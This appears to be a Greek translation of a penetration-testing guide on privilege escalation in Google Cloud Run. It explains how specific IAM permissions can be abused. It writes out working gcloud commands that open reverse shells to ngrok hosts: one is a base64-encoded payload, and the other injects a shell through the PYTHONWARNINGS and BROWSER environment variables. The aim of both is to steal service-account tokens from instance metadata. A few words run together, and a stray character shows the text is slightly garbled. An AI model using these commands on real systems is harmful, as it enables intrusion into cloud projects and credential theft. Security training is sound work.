Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να δημιουργήσει ένα υπηρεσία run που εκτελεί αυθαίρετο κώδικα (αυθαίρετο Docker container), να συνδέσει ένα Λογαριασμό Υπηρεσίας σε αυτό και να κάνει τον κώδικα να εξαγάγει το διακριτικό του Λογαριασμού Υπηρεσίας από τα μεταδεδομένα.
Ένα σενάριο εκμετάλλευσης για αυτήν τη μέθοδο μπορεί να βρεθεί εδώ και η εικόνα Docker μπορεί να βρεθεί εδώ.
Σημειώστε ότι όταν χρησιμοποιείτε το gcloud run deploy αντί να δημιουργήσετε απλώς την υπηρεσία χρειάζεται την άδεια update. Ελέγξτε ένα παράδειγμα εδώ.
run.services.update , iam.serviceAccounts.actAs
Όπως το προηγούμενο αλλά ενημερώνοντας μια υπηρεσία:
gcloudrundeployhacked \--image=ubuntu:latest \--command=bash \--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \--service-account="<proj-num>-compute@developer.gserviceaccount.com" \--region=us-central1 \--allow-unauthenticated# If you don't have permissions to use "--allow-unauthenticated", dont use it
run.services.setIamPolicy
Δώστε στον εαυτό σας προηγούμενες άδειες πάνω στο cloud Run.
run.jobs.create, run.jobs.run, (run.jobs.get)
Ξεκινήστε ένα job με ένα αντίστροφο κέλυφος για να κλέψετε το λογαριασμό υπηρεσίας που υποδεικνύεται στην εντολή. Μπορείτε να βρείτε ένα εκμετάλλευση εδώ.
Κακοποιήστε τις μεταβλητές περιβάλλοντος μιας εκτέλεσης εργασίας για να εκτελέσετε αυθαίρετο κώδικα και να λάβετε ένα αντίστροφο κέλυφος για να ρίξετε τα περιεχόμενα του container (πηγαίος κώδικας) και να έχετε πρόσβαση στο SA μέσα στα μεταδεδομένα:
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
çrun.jobs.setIamPolicy
Δώστε στον εαυτό σας τα προηγούμενα δικαιώματα πάνω στα Cloud Jobs.